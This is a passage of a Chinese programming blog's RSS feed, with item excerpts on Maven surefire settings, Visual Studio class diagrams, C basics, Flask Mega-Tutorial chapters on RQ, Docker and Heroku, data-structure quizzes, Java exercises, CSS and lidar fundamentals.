&amp;lt;classifier&amp;gt;exec&amp;lt;/classifier&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; 3.Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.21.0:test (default-test) on project test-freemarker: There are test failures. 解决思路：在执行install模块的pom.xml加入如下依赖：&#xA;&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;maven-surefire-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.21.0&amp;lt;/version&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;testFailureIgnore&amp;gt;true&amp;lt;/testFailureIgnore&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; </description>
    </item>
    <item>
      <title>visual studio 查看类的uml图</title>
      <link>https://bchobby.github.io/posts/deb412c08ad12f3eaf9ee73bdbf2be52/</link>
      <pubDate>Mon, 22 Mar 2021 14:45:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deb412c08ad12f3eaf9ee73bdbf2be52/</guid>
      <description>在阅读代码时，一般都想先了解一下一个类的层次结构，比如从哪里继承，有些工具可以提供此功能，但还需要单独安装工具，有的甚至还是付费的，这里我说明一下visual studio的查看类图功能，以visual studio 2019为例，首先需要安装一个组件：类设计器，打开visual studio 2019，点击菜单栏工具，选择获取工具和功能项，在弹出的安装程序窗口中选择 单个组件项，然后在搜索框中输入类设计器或拖动上下进度条来选择，勾选类设计器，点击修改，安装完成后重启visual studio 2019。&#xA;打开任一项目，点击菜单 视图，然后选择 类视图，在左侧的类视图中右键选中任意类，点击查看类图即可。效果如下：</description>
    </item>
    <item>
      <title>002_简单的基础知识</title>
      <link>https://bchobby.github.io/posts/b0c24849d512d22dd74419e7faabe5fd/</link>
      <pubDate>Sun, 21 Mar 2021 22:27:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0c24849d512d22dd74419e7faabe5fd/</guid>
      <description> 字符和字符串 单引号中的是一个字符，这个字符计算机认识，可以叫做“字面值”，计算机通过ASCII表与这些符号的对应关系来识别它们。ASCII表的表示范围是0~127，其本质是一个有符号的Byte,即8个位，除去一位符号位，7位用来表示值。双引号中的是字符串，可以称为字符串字面值常量；字符数组要额外多分配一个字节存储结束符’\0’。 类型转换 (本质也是整型)char(1B) ——》short(2B) ——》 int(4B) ——》 long(4B) ——》long long(8B)小变大，可以完全保留大变小会有位的丢失，可能造成数据的错误。有“截断”注意一点是，Int和float的转换并不是单纯的截取位数重新解释，而是尽量保证真值不改变float变量进行运算的时候需要首先进行对阶的操作。会造成“精度丢失”的问题，所谓精度丢失，就是当两个相差非常大的数做运算的时候，会因为“对阶”，使得小的数丢掉有效位而全变为0有符号与无符号数的转换会首先保留数的位数，然后对每位进行重新解释。比如有符号的整数高位为1表示的是负数，到了无符号整数中，会因为 高位的1变成一个非常大的正数 输入和输出函数 printf函数和scanf函数引入一个概念叫“输入输出缓冲区”，叫“stdin”“stdout”，其存取规则是“先进先出” + 有三钟IO方式 1. 全缓冲：缓冲区满时IO&#x9;：磁盘文件的IO 2. 行缓冲：行满时IO&#x9;：标准输入输出 3. 直接IO&#x9;：标准错误信息的输出 scanf的%d格式控制符的特点： 缓冲区开始的空白字符（比如：‘ ’，‘\t’，’\n’），会被取出并丢弃从读取第一个合法字符开始，直到遇到第一个非法字符结束（注意该非法字符仍在在STDIN中） scanf的%c格式控制符的特点： 不会忽略空白字符（在输入函数中，除格式控制符外允许有别的符号的例子只有是“ %c”,空格＋%c） rewind(stdin);// 清空输入缓冲区scanf的返回值 成功读取的数量。可以是0EOF（-1）。不同于0（VS中是3次Ctrl + Z） getchar() :从stdin获取并返回下一个字符，如果到达文件末尾返回EOFputchar(char ch) :把ch写到stdoutprintf() 小数： % . d \color{#FF0000}{.d} .dd: 表示d位小数任何书： % d \color{#FF0000}{d} dd: 表示最小宽度为d% − \color{#FF0000}{-} −d: 表示左对齐 运算符 sizeof()类型转换运算符：()算术运算符关系运算符 此处注意 float 类型的 ==结果不可靠 逻辑运算符位运算符赋值运算符条件运算符自增自减运算符 </description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第22章：后台工作</title>
      <link>https://bchobby.github.io/posts/e1f1eba06d05b6099c226d37a6360d14/</link>
      <pubDate>Sun, 21 Mar 2021 22:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1f1eba06d05b6099c226d37a6360d14/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第二十二章，我将告诉您如何创建独立于Web服务器之外运行的后台作业。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作（本文）第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;本章致力于为应用程序中运行时间较长或复杂的异步任务进程进行优化。这些进程不能在请求的上下文中同步执行，因为这会在任务持续期间阻塞对客户端的响应。在第十章中，我将邮件的发送转移到后台线程中执行，以免阻塞响应。 虽然使用线程处理电子邮件是可以接受的，但当问题处理时间更长时，此解决方案就不足以支撑了。 公认的做法是将耗时长的任务移交到worker进程（或进程池）。&#xA;为了证明长时间运行任务存在的必要性，我将介绍Microblog的一个导出功能，用户通过它可以请求一个包含他们所有用户帖子的数据文件。 当用户使用该选项时，应用程序将启动一个导出任务，该导出任务将生成包含所有用户帖子的JSON文件，然后通过电子邮件发送给用户。 所有这些活动都将在worker进程中发生，并且在执行时，用户可以看到显示完成百分比的进度。&#xA;本章的GitHub链接为：Browse，Zip和Diff。&#xA;任务队列简介 任务队列为后台作业提供了一个便捷的解决方案。 Worker进程独立于应用程序运行，甚至可以位于不同的系统上。 应用程序和worker之间的通信是通过消息队列完成的。 应用程序提交作业，然后通过与队列交互来监视其进度。 下图展示了一个典型的实现：&#xA;Python最受欢迎的任务队列是Celery。这是一个相当复杂的包，具有许多选项并支持多个消息队列。另一个流行的Python任务队列是Redis Queue（RQ），它牺牲了一些灵活性，例如仅支持Redis消息队列，但作为交换，它的设置比Celery简单得多。&#xA;Celery和RQ都完全可以支持Flask应用中的后台任务，因此，我对此应用程序的选择将倾向于RQ的简单性。但是，使用Celery实现相同的功能应该相对容易。如果您不仅对RQ感兴趣，还对Celery感兴趣，可以阅读我的博客中的Using Celery with Flask文章。&#xA;使用RQ RQ是一个标准的Python软件包，用pip安装：&#xA;(venv) $ pip install rq (venv) $ pip freeze &amp;gt; requirements.txt 正如我前面提到的，应用和RQ worker之间的通信将在Redis消息队列中执行，因此您需要运行Redis服务器。 有许多途径来安装和运行Redis服务器，比如下载其源码并执行编译和安装。 如果您使用的是Windows，Microsoft在此处维护了Redis的安装程序。 在Linux上，您可以通过操作系统的软件包管理器安装Redis。 Mac OS X用户可以运行brew install redis，然后使用redis-server命令手动启动服务。&#xA;除了确保服务正在运行并可供RQ访问之外，您不需要与Redis进行其他交互。&#xA;请注意，RQ不能在Windows本机Python解释器上运行。如果使用Windows平台，则只能在Unix仿真下运行RQ。我向Windows用户推荐的两个Unix仿真层是Cygwin和Linux的Windows子系统（WSL），它们都与RQ兼容。&#xA;创建任务 通过RQ执行一项简单的任务后，您就会很快熟悉它。 一个任务，不过是一个Python函数而已。 以下是一个示例任务，我将其放入一个新的app/tasks.py模块：&#xA;app / tasks.py：示例后台任务。&#xA;import time def example(seconds): print(&#39;Starting task&#39;) for i in range(seconds): print(i) time.</description>
    </item>
    <item>
      <title>数据结构c语言版习题</title>
      <link>https://bchobby.github.io/posts/1fe862c3d05eaabcafb310215b3078a5/</link>
      <pubDate>Sun, 21 Mar 2021 17:16:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fe862c3d05eaabcafb310215b3078a5/</guid>
      <description>数据结构c语言版习题&#xA;文章目录 第一章 绪论第二章 线性表第四章 串第五章数组和广义表作业第六章 树与二叉树理论作业第七章图作业第八章查找作业 第一章 绪论 一、选择题&#xA;1.以下说法正确的是（ D ）。&#xA;A、数据元素是数据的最小单位&#xA;B、数据项是数据的基本单位&#xA;C、数据结构是带有结构的各数据项的集合&#xA;D、一些表面上很不相同的数据可以有相同的逻辑结构&#xA;解析：A、B、C不对，正确答案是：数据项是数据的最小单位；数据元素是&#xA;数据的基本单位；数据结构是带有结构的各数据元素的集合；D正确，如：windows系统中文件的组织架构图和一个单位的组织架构图，表面上是不相同的数据，但其实都是树形结构。&#xA;2.计算机算法指的是解决问题的步骤序列，它必须具备（　B　） 这五个特性。&#xA;A、可执行性、可移植性、可扩充性、输入、输出&#xA;B、可执行性、确定性、有穷性、输入、输出&#xA;C、确定性、有穷性、稳定性、输入、输出&#xA;D、易读性、稳定性、安全性、输入、输出&#xA;解析：一个算法具备的5个重要特性是：有穷性，确定性，可行性，有零个或多个的输入，有1个或多个的输出；&#xA;3.设n为某问题的规模,若某算法的时间复杂度为O(n2),则表示该算法的( C )。(北航2019年考研题)&#xA;A、执行时间为n。&#xA;B、执行时间为n2。&#xA;C、执行时间与n2成正比关系。&#xA;D、执行时间与n无关。&#xA;解析：T(n) = O(f(n))“大O记法”,它表示随问题规模n的增大,算法执行时间的增长率和f(n)的增长率相同。&#xA;4.程序运行时间函数f(n) = 1000, 下面哪项是用“大O记法”表示的时间复杂度。（B）&#xA;A、O(1000)&#xA;B、O(1)&#xA;C、O(n=1000)&#xA;D、O(n)&#xA;解析：只要运行时间为常数，均用O（1）表示，即时间复杂度的常数阶为O(1)&#xA;5.算法的时间复杂度取决于（D ）。&#xA;A、问题的规模&#xA;B、待处理数据的初态&#xA;C、计算机的配置&#xA;D、A和B&#xA;解析：算法的时间复杂度不仅与问题的规模有关，还与问题的其他因素有关。如某些排序的算法，其执行时间与待排序记录的初始状态有关。为此，有时会对算法有最好、最坏以及平均时间复杂度的评价。&#xA;6.在存储数据时，通常不仅要存储各数据元素的值，而且还要存储（ D ）。&#xA;A、数据的处理方法&#xA;B、数据的存储方法&#xA;C、数据元素的类型&#xA;D、数据元素之间的关系&#xA;解析：存储数据时，或者用顺序方式来描述数据元素之间的关系，或者用链&#xA;式来描述数据元素之间的关系。&#xA;7.在数据结构中，与所使用的计算机无关的是数据的（A）结构。&#xA;A、逻辑&#xA;B、存储&#xA;C、逻辑和存储&#xA;D、物理&#xA;解析：数据的逻辑结构反映的是数据元素之间的逻辑关系，与使用的计算机无关：数据的物理结构，又称存储结构，是指数据在计算机中的表示，它包括数据元素的值和元素的关系，其中数据元素之间的关系在计算机中主要有顺序存储结构和链式存储结构两种。</description>
    </item>
    <item>
      <title>JAVA 程序设计基础过关题库(50道)</title>
      <link>https://bchobby.github.io/posts/50431b7c4f35967f2226744f9f49cb87/</link>
      <pubDate>Sun, 21 Mar 2021 17:03:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50431b7c4f35967f2226744f9f49cb87/</guid>
      <description>程序设计基础过关题库(50道) &amp;lt;说明&amp;gt;难易程度依次为：易（7道）、较易（14道）、较难（13道）、难（9道）、很难（7道）&#xA;一、顺序结构 1、 编程实现两个整数交换位置，例如：int x = 6,y = 9，交换后 x = 9，y = 6。（易）&#xA;2、 将华氏温度转化成摄氏温度。公式为：&#xA;C=（5/9）*(F-32)&#xA;，其中F为华氏温度，C为摄氏温度。请根据给定的华氏温度输出对应的摄氏温度。（易）&#xA;package javaFirst_1; public class JavaFirst_1_ketang { public static void main(String[] args) { // TODO Auto-generated method stub double F = 52; double C; C = (5/9.0) * (F-32); System.out.println(&#34;华氏温度：&#34; + F); System.out.println(&#34;摄氏温度：&#34; + C); } } 3、 根据观察，蟋蟀的名叫频率与温度有关，具体的公式为T=（c+40）/10.其中，c代表蟋蟀每分钟鸣叫数，T代表华氏温度。请根据蟋蟀每分钟的鸣叫数输出相应的华氏温度。（易）&#xA;package javaFirst_1; public class JavaFirst_if_else { public static void main(String[] args) { // TODO Auto-generated method stub int x = 6; int y = 9; int max; if(x &amp;gt; y) { max = x; }else { max = y; } System.</description>
    </item>
    <item>
      <title>每10换行</title>
      <link>https://bchobby.github.io/posts/cf783709ff6ba303d54844aead11e004/</link>
      <pubDate>Sun, 21 Mar 2021 15:56:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf783709ff6ba303d54844aead11e004/</guid>
      <description> 每10换行 for i in range(1,51): if i&amp;lt;10: print(&#34;0&#34;+str(i),end=&#34; &#34;)#输出10以内不 换行 else: if i%10==0: print(i) #30 40 50 换行 else: print(i,end=&#34; &#34;) </description>
    </item>
    <item>
      <title>Smart3D将已经生成的OSGB格式的模型转换成S3C格式</title>
      <link>https://bchobby.github.io/posts/adacb53e22692aea076383f6cf38adc2/</link>
      <pubDate>Sun, 21 Mar 2021 14:28:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adacb53e22692aea076383f6cf38adc2/</guid>
      <description>Smart3D如何生成OSGB数据的S3C索引 1-生成OSGB模型2-生成S3C索引3-模型预览 1-生成OSGB模型 目前市面上生产的倾斜模型，尤其是Smart3D生成的倾斜摄影三维模型数据的组织方式一般是二进制存储的、带有嵌入链接纹理数据的OSGB格式。而这种格式的三维模型使用CC自带的可视化软件----Acute3D Viewer无法打开，本文我们主要介绍如何将已经生成的OSGB模型转化为可以直接用Acute3D Viewer预览的模型，即：快速生成OSGB的S3C索引！&#xA;生成OSGB格式文件直接在生产项目选项卡中选择即可: 生产完成后直接打开“输出目录”：&#xA;在打开的目录下，我们可以看到OSGB成果输出为一个DATA文件夹以及一个XML文件：&#xA;2-生成S3C索引 接下来我们简单阐述如何生成S3C索引，流程图如下所示：&#xA;Created with Raphaël 2.2.0 开始 在重建基础上生成新的生产项目 提交为.S3C格式 开始运行后即可取消生产 使用CC_S3CComposer.exe对.S3C文件进行编辑处理 生成新的.S3C文件，复制到OSGB目录下 结束 提交新的生产项目：&#xA;运行后直接取消生产：&#xA;打开S3C编辑软件-------CC_S3CComposer.exe，并将生成的S3C文件直接拖拽到软件中：&#xA;使用菜单栏”工具“中的”编辑命令行…“，直接”Ctrl A“全选，”Ctrl C“复制到记事本中，将文本中所有s3c替换为osgb：&#xA;替换完成后，在全部复制回去，保存替换原来文件：&#xA;将生成的s3c文件复制到OSGB文件目录下：&#xA;至此，OSGB模型的S3C索引生成完毕。&#xA;3-模型预览 双击”Production_2.s3c”即可打开模型：</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第19章：Docker容器上的部署</title>
      <link>https://bchobby.github.io/posts/c519176ce56acaeff0f88c090c27c5ce/</link>
      <pubDate>Sun, 21 Mar 2021 13:26:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c519176ce56acaeff0f88c090c27c5ce/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十九章，我将在其中部署Microblog到Docker容器平台。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署（本文）第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;在第17章中，您学习了传统部署，在传统部署中，您必须关注服务器配置的每个细节。然后在第18章中，当我向您介绍Heroku时，您将带到了另一个极端。这项服务可以完全控制配置和部署任务，使您可以完全专注于应用程序。在本章中，您将学习基于容器（尤其是在Docker容器平台上）的第三种应用程序部署策略。 这种部署的工作量，介于另外两个选项之间。&#xA;容器基于轻量级虚拟化技术构建，该技术允许应用程序及其依赖项和配置完全隔离地运行，而无需使用功能强大的虚拟化解决方案（例如虚拟机），因为虚拟化解决方案需要更多的资源，并且有时可能与宿主机相比，性能明显下降。 配置为容器宿主机的系统可以运行大量容器，所有这些容器共享主机的内核并直接访问主机的硬件。这与虚拟机不同，虚拟机必须模拟一个完整的系统，包括CPU，磁盘，其他硬件，内核等。&#xA;尽管必须共享内核，但容器中的隔离级别仍然很高。容器具有自己的文件系统，并且可以基于与容器主机使用的操作系统不同的操作系统。例如，您可以在Fedora主机上运行基于Ubuntu Linux的容器，反之亦然。尽管容器是Linux操作系统固有的技术，但由于虚拟化，还可以在Windows和Mac OS X主机上运行Linux容器。 这允许您在开发系统上测试部署操作，并且如果您愿意的话，还可以将容器合并到开发工作流程中去。&#xA;本章的GitHub链接是：Browse，Zip，Diff。&#xA;安装Docker CE 尽管Docker不是唯一的容器平台，但它是迄今为止最受欢迎的容器平台，因此我选择了它。Docker有两个版本，一个是免费社区版（CE），另一个是基于订阅的企业版（EE）。就本教程而言，Docker CE完全可以满足要求。&#xA;要使用Docker CE，首先必须将其安装在系统上。在Docker网站上有适用于Windows，Mac OS X的安装程序和几种Linux发行版。如果您使用的是Microsoft Windows系统，请务必注意Docker CE依赖Hyper-V。 如有必要，安装程序将为您启用此功能，但请记住，启用Hyper-V会限制诸如VirtualBox等其他虚拟化技术产品的运行。&#xA;在系统上安装Docker CE之后，您可以通过在终端窗口或命令提示符下键入以下命令来验证安装是否成功：&#xA;$ docker version Client: Version: 17.09.0-ce API version: 1.32 Go version: go1.8.3 Git commit: afdb6d4 Built: Tue Sep 26 22:40:09 2017 OS/Arch: darwin/amd64 Server: Version: 17.09.0-ce API version: 1.32 (minimum version 1.12) Go version: go1.</description>
    </item>
    <item>
      <title>CSS</title>
      <link>https://bchobby.github.io/posts/2c56c360580420d293172f42d85dfbed/</link>
      <pubDate>Sun, 21 Mar 2021 10:59:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c56c360580420d293172f42d85dfbed/</guid>
      <description>html只是搭建初步的结构，css的作用就是美化外观，使得结构和样式分离，各司其职。&#xA;CSS目录 一、CSS样式的三种方法1.行内式（内联样式）2.内部样式表（内嵌样式表）3.外部样式表（外链式） 二、CSS基础选择器1.标签选择器2.类选择器3.id选择器4.通配符选择器 三、复合选择器1、后代选择器2、子元素选择器3、交集选择器4、并集选择器5、链接伪类选择器 四、font字体样式1、font-size（字体大小）2、font-family（字体样式）3、font-weight（字体粗细）4、font-style（字体风格）5、font（复合属性） 五、CSS基础外观属性1.color（文本颜色）2.text-align（文本水平对齐方式）3.line-height（行间距）4.text-indent（首行缩进）5.text-decoration（文本的装饰）6.CSS外观属性总结 六、标签显示模式（display）七、CSS 背景(background)1.背景颜色（color）2.背景图片（image）3.背景平铺（repeat）4.背景位置（position）5.背景附着6.背景复合写法7.背景总结 八、CSS 三大特性1.层叠性2.CSS继承性3.CSS优先性（权重） 一、CSS样式的三种方法 1.行内式（内联样式） &amp;lt;div style=&#34;color: red; font-size: 12px;&#34;&amp;gt;基础使用&amp;lt;/div&amp;gt; style其实就是标签的属性，可以通过它来设置标签的样式。&#xA;2.内部样式表（内嵌样式表） &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; table { height: 70px; width: 600px; text-align: center; border: black 1px solid; } td, th { border-collapse: collapse; border: black 1px solid; } th { height: 40px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; 将CSS代码集中书写到头部head标签里面使用style标签定义。&#xA;3.外部样式表（外链式） &amp;lt;head&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;css文件路径&#34;&amp;gt; &amp;lt;/head&amp;gt; 将所有的样式放在一个或多个以.CSS为扩展名的外部样式表文件中，通过link标签将外部样式表文件链接到HTML文档中。&#xA;其中外联是使用频率最高的方法。</description>
    </item>
    <item>
      <title>激光雷达点云之基础扫盲</title>
      <link>https://bchobby.github.io/posts/f34f2e9fbe5f7b5d111ce6dc0f72f914/</link>
      <pubDate>Sun, 21 Mar 2021 08:30:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f34f2e9fbe5f7b5d111ce6dc0f72f914/</guid>
      <description> 1.常见名词 角分辨率&#xA;激光雷达输出的图像也被称为“点云”图像，相邻两个点之间的夹角就是角分辨率。&#xA;帧率&#xA;一幅点云图像代表一帧，对应到激光雷达内部就是电机旋转一圈完成扫描。帧率即代表一秒钟内激光雷达电机旋转的圈数，也就是每秒钟完成一圈扫描的次数。&#xA;角分辨率和帧率的关系，和采样率的关系&#xA;由于激光雷达的采样率是一定的，因此帧率越高，角分辨率越低；帧率越低，角分辨率越高。&#xA;采样率表示激光雷达每秒钟进行有效采集的次数，可直观理解为一秒内产生的点云数目。采样率可以通过角分辨率和帧率计算：&#xA;角分辨率0.08°时，每一帧的点云数目：360°/0.08°= 4500；每秒10帧，则每秒的点云数目：4500×10=45000；所以其采样率为45kHz。 激光雷达可以检测到透明玻璃吗&#xA;激光雷达是基于光学检测原理，激光会穿过透明玻璃，从而造成一定概率的漏检。因此针对玻璃很多的场景使用时，可以增加一些辅助反射手段，比如粘贴磨砂贴纸，或配合其他非光学的传感器作为补充。&#xA;激光雷达测距范围指标为什么标注有两个距离？&#xA;激光雷达的测距依赖激光照射在目标物体上的反光，而白色的表面反射率高，黑色的表面反射率低，不同反射率会对雷达的有效量程造成差异。&#xA;点云数据合并&#xA;点云数据合并是指把相邻的点合并成一个点，一方面可以减少图像的数据量，另一方面可以增加点云的稳定度。&#xA;点云上的拖尾是怎么产生的？有什么办法解决吗？&#xA;激光雷达每次采样时发送一个激光脉冲完成测量。理想的激光脉冲打在目标上是一个点，但是实际上激光出射都存在一定的发散角，打在物体上时光斑是一个面。因此，当存在前后两个物体，且激光正好打在前面一个物体的边缘时，就有可能出现一部分激光能量打在了后面的物体上，这时的回返光就是两个光斑反射光的叠加。这时雷达会判断测量目标在这两个面之间，造成拖尾现象。拖尾现象需要借助算法去除。 2.TOF雷达和三角雷达的区别 TOF（Time of Flight）方案基于时间飞行测量，三角雷达基于几何光学运算。&#xA;1.原理 三角法的原理如下图1所示，激光器发射激光，在照射到物体后，反射光由线性CCD接收，由于激光器和探测器间隔了一段距离，所以依照光学路径，不同距离的物体将会成像在CCD上不同的位置。按照三角公式进行计算，就能推导出被测物体的距离。 TOF的原理如图2所示，激光器发射一个激光脉冲，并由计时器记录下出射的时间，回返光经接收器接收，并由计时器记录下回返的时间。两个时间相减即得到了光的“飞行时间”，而光速是一定的，因此在已知速度和时间后很容易就可以计算出距离。 2.性能对比&#xA;测量距离&#xA;从原理上来说，TOF雷达可以测量的距离更远。实际上在一些要求测量距离的场合，比如无人驾驶汽车应用，几乎都是TOF雷达。三角雷达测不远主要有几个方面的原因：一是原理上的限制，其实仔细观察图1不难发现，三角雷达测量的物体距离越远，在CCD上的位置差别就越小，以致于在超过某个距离后，CCD几乎无法分辨。二是三角雷达没办法像TOF雷达那样获得较高的信噪比。TOF采用脉冲激光采样，并且还能严格控制视场以减少环境光的影响。这些都是长距离测量的前提条件&#xA;采样率&#xA;激光雷达描绘环境时，输出的是点云图像。每秒能够完成的点云测量次数，就是采样率。在转速一定的情况下，采样率决定了每一帧图像的点云数目以及点云的角分辨率。角分辨率越高，点云数量越多，则图像对周围环境的描绘就越细致。&#xA;就市面上的产品而言，三角法雷达的采样率一般都在20k以下，TOF雷达则能做到更高（例如星秒的TOF雷达PAVO最高可以达到100k的采样率）。究其原因，TOF完成一次测量只需要一个光脉冲，实时时间分析也能很快响应。但是三角雷达需要的运算过程耗时则更长。如下表示对同一物体不同采样率的成像效果&#xA;精度&#xA;激光雷达本质上是个测距设备，因此距离的测量精度是毫无疑问的核心指标。在这一点上，三角法在近距离下的精度很高，但是随着距离越来越远，其测量的精度会越来越差，这是因为三角法的测量和角度有关，而随着距离增加，角度差异会越来越小。所以三角雷达在标注精度时往往都是采用百分比的标注（常见的如1%），那么在20m的距离时最大误差就在20cm。而TOF雷达是依赖飞行时间，时间测量精度并不随着长度增加有明显变化，因此大多数TOF雷达在几十米的测量范围内都能保持几个厘米的精度。&#xA;转速（帧率）&#xA;在机械式雷达中，图像帧率就是由电机的转速决定的。就目前市面上的二维激光雷达而言，三角雷达的最高转速通常在20Hz以下，TOF雷达则可以做到30Hz-50Hz左右。三角雷达通常采用上下分体的结构，即上面转的部分负责激光发射、接收和采集，下部分负责电机驱动和供电等，过重的运动组件限制了更高的转速。而TOF雷达通常采用一体化的半固态结构，电机仅需带动反射镜，因此电机的功耗很小，并且可以支持的转速也更高。&#xA;当然，这里提到的转速的区别只是对现有产品的一个客观分析。其实转速和雷达采用TOF还是三角法没有本质的联系，主流的多线TOF雷达也都是采用的上下分体的结构，毕竟同轴结构的光学设计受到许多限制。多线TOF雷达的转速一般也都在20Hz以下。&#xA;不过，高转速（或者说高帧率）对点云成像效果是很有意义的。高帧率更利于捕捉高速运动的物体，比如高速公路上行驶的车辆。此外，在自身建图时，运动中的雷达建图会发生畸变（举个例子，如果一个静止的雷达扫描一圈是一个圆，那么当雷达直线运动时，扫描出的图像就变成一个椭圆）。显然，高转速可以更好的减少这种畸变的影响。&#xA;成本&#xA;如果只看性能比较，似乎TOF雷达的性能完全压过三角雷达。不过产品的竞争并不仅仅是性能参数的比拼，用户在乎的还有价格、稳定性和服务等等。至少在成本方面，目前三角雷达的成本是低于TOF雷达的，近距离的三角雷达成本已经在百元级别。而目前进口TOF雷达的售价动辄就要万元以上。可以说，高昂的价格是限制TOF激光雷达应用进一步拓展的重要因素。&#xA;应用场景&#xA;三角雷达的场景主要是在室内短距离的应用，最典型的场景就是扫地机器人。而在探测范围较大场景（比如商场、机场或者车站），以及室外场景，TOF的应用则更为广泛。另外值得一提的是，三角雷达这种裸露在外转动的方案，使其产品在防尘防水方面非常脆弱，在一些特殊场景的应用，比如AVG小车工作的车间经常会有很多灰尘，在这种环境下，三角雷达的电机非常容易损坏。相比之下，TOF雷达采用的半固态设计，可以有更优秀的防护效果，工作寿命也更长。 3.相关参考 点云概述👈点云概念与点云处理👈听Ibeo剧学铭聊自动驾驶和激光雷达（一）2016.5.27👈听Ibeo剧学铭聊自动驾驶和激光雷达（二）2016.5.31👈激光雷达大洗牌：华为、大疆入局、初创玩家眼热，谁将率先破局？2021.3.1激光雷达与毫米波雷达的区别 </description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第18章：在Heroku上部署</title>
      <link>https://bchobby.github.io/posts/faf929cdf5981b247bdda610d0c31b12/</link>
      <pubDate>Sat, 20 Mar 2021 22:50:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/faf929cdf5981b247bdda610d0c31b12/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十八章，我将在其中部署Microblog到Heroku云平台。供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署（本文）第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;在上一篇文章中，我向您展示了托管Python应用的“传统”方式，并且为您提供了两个实际的示例，以将其部署到基于Linux的服务器上。如果您不习惯于管理Linux系统，您可能会认为需要花很多精力在任务上，并且肯定有一种更简单的方法。&#xA;在本章中，我将向您展示一种完全不同的方法，在这种方法中，您依赖第三方云托管提供商来执行大多数管理任务，从而使您腾出更多时间来处理应用程序。&#xA;许多云托管提供商提供了一个应用程序可以运行的托管平台。 你只需提供部署到这些平台上的实际应用程序，因为硬件，操作系统，脚本语言解释器，数据库等都由该服务管理。 这种服务称为平台即服务（PaaS）。&#xA;听起来好得令人难以置信，对吧？&#xA;我将研究将Microblog部署到Heroku，Heroku是一种流行的云托管服务，对Python应用程序也非常友好。我之所以选择Heroku，不仅是因为它很受欢迎，还因为它具有免费的服务水平，使您可以跟随我并进行完整的部署而无需花任何钱。&#xA;本章的GitHub链接是：Browse，Zip，Diff。&#xA;在Heroku上托管 